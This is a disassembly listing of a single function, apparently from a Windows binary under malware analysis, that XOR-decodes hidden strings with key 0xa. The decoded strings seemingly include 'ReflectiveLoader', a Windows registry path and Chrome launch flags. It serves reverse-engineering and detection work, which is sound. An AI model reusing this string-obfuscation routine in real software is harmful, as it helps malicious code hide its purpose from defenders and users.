Function at 0x140017040
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x250
movzx eax, byte [str.gyn_oro]
movdqa xmm0, xmmword [str.XolfoicoFeknox]
xor byte [0x140023861], 0xa
xor byte [0x140023862], 0xa
xor byte [0x140023863], 0xa
xor byte [0x140023864], 0xa
movaps xmmword [rsp + 0x240], xmm6
movdqa xmm6, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_nykhfocdlehkxydegoyykmoherVMeemfoVIbxegoVKoxkdyfkonceeeeeeeeeeeeeeeexelcfoyncykhfzzfcikcedVibxegrrrrrrrrrrrrrrrro_oro_g]
pxor xmm0, xmm6
movdqu xmmword [str.XolfoicoFeknox], xmm0
xor byte [0x140023865], 0xa
xor byte [0x140023866], 0xa
xor byte [0x140023867], 0xa
xor byte [str.ilged_oro], 0xa
xor byte [0x140023851], 0xa
xor byte [0x140023852], 0xa
xor byte [0x140023853], 0xa
xor byte [0x140023854], 0xa
xor byte [0x140023855], 0xa
xor byte [0x140023856], 0xa
xor byte [0x140023857], 0xa
xor byte [0x140023858], 0xa
xor byte [0x140023859], 0xa
xor al, 0xa
xor edi, edi
mov byte [str.gyn_oro], al
mov r9d, edi
test al, al
je 0x14001711c
lea rax, str.gyn_oro
nop dword [rax]
lea rax, [rax + 1]
inc r9d
cmp byte [rax], dil
jne 0x140017110
lea rbx, [0x140047e90]
lea r8, str.gyn_oro
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], 0x104
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov r9d, edi
cmp eax, 0x104
cmovge eax, edi
cmp byte [str.ilged_oro], dil
cdqe
mov word [rbx + rax*2], di
je 0x14001716e
lea rax, str.ilged_oro
lea rax, [rax + 1]
inc r9d
cmp byte [rax], dil
jne 0x140017162
lea rbx, [0x140047c80]
lea r8, str.ilged_oro
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], 0x104
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rcx, [rsp + 0x32]
mov r8d, 0x206
cmp eax, 0x104
mov word [rsp + 0x30], di
cmovge eax, edi
xor edx, edx
cdqe
mov word [rbx + rax*2], di
call fcn.1400033f0
lea rsi, str.UKCXKU_2__
mov rax, rsi
mov ecx, reloc.WS2_32.dll_inet_ntoa
nop word [rax + rax]
xor byte [rax], 0xa
lea rax, [rax + 1]
dec rcx
jne 0x1400171d0
cmp byte [str.UKCXKU_2__], dil
mov r9d, edi
je 0x1400171fc
mov rax, rsi
nop dword [rax + rax]
lea rax, [rax + 1]
inc r9d
cmp byte [rax], dil
jne 0x1400171f0
lea rax, [rsp + 0x30]
mov r8, rsi
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], 0x104
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov r9d, edi
cmp eax, 0x104
cmovge eax, edi
cmp byte [str.UKCXKU_2__], dil
cdqe
mov word [rsp + rax*2 + 0x30], di
je 0x14001724c
mov rax, rsi
nop dword [rax]
lea rax, [rax + 1]
inc r9d
cmp byte [rax], dil
jne 0x140017240
lea rbx, [0x1400480a0]
mov r8, rsi
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], 0x104
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rcx, [rsp + 0x32]
mov r8d, 0x206
cmp eax, 0x104
mov word [rsp + 0x30], di
cmovge eax, edi
xor edx, edx
cdqe
mov word [rbx + rax*2], di
call fcn.1400033f0
movdqa xmm0, xmmword [str.YelkxoVVGcixeyelVV_cdneyVVI]
movdqa xmm1, xmmword [0x140023820]
lea rax, str.xxodoxycedVVX
mov ecx, reloc.WS2_32.dll_recvfrom
pxor xmm0, xmm6
movdqu xmmword [str.YelkxoVVGcixeyelVV_cdneyVVI], xmm0
pxor xmm1, xmm6
movdqu xmmword [0x140023820], xmm1
nop word [rax + rax]
xor byte [rax], 0xa
lea rax, [rax + 1]
dec rcx
jne 0x1400172d0
cmp byte [str.YelkxoVVGcixeyelVV_cdneyVVI], dil
mov r9d, edi
lea rsi, str.YelkxoVVGcixeyelVV_cdneyVVI
je 0x1400172fe
mov rax, rsi
lea rax, [rax + 1]
inc r9d
cmp byte [rax], dil
jne 0x1400172f2
lea rax, [rsp + 0x30]
mov r8, rsi
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], 0x104
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov r9d, edi
cmp eax, 0x104
cmovge eax, edi
cmp byte [str.YelkxoVVGcixeyelVV_cdneyVVI], dil
cdqe
mov word [rsp + rax*2 + 0x30], di
je 0x14001734c
mov rax, rsi
nop dword [rax + rax]
lea rax, [rax + 1]
inc r9d
cmp byte [rax], dil
jne 0x140017340
lea rbx, [0x140047a70]
mov r8, rsi
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], 0x104
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rcx, [rsp + 0x32]
mov r8d, 0x206
cmp eax, 0x104
mov word [rsp + 0x30], di
cmovge eax, edi
xor edx, edx
cdqe
mov word [rbx + rax*2], di
call fcn.1400033f0
movdqa xmm0, xmmword [str.Meemfo_znko_oro]
mov r9d, edi
lea rsi, str.Meemfo_znko_oro
pxor xmm0, xmm6
movd eax, xmm0
movdqa xmmword [str.Meemfo_znko_oro], xmm0
test al, al
je 0x1400173cc
mov rax, rsi
nop dword [rax + rax]
lea rax, [rax + 1]
inc r9d
cmp byte [rax], dil
jne 0x1400173c0
lea rax, [rsp + 0x30]
mov r8, rsi
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], 0x104
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
cmp byte [str.Meemfo_znko_oro], dil
mov r9d, edi
je 0x14001740c
mov rax, rsi
nop word [rax + rax]
lea rax, [rax + 1]
inc r9d
cmp byte [rax], dil
jne 0x140017400
lea rbx, [0x140047860]
mov r8, rsi
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], 0x104
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea r11, [rsp + 0x250]
mov rsi, qword [r11 + 0x18]
cmp eax, 0x104
movaps xmm6, xmmword [r11 - 0x10]
cmovge eax, edi
cdqe
mov word [rbx + rax*2], di
mov rbx, qword [r11 + 0x10]
mov rsp, r11
pop rdi
ret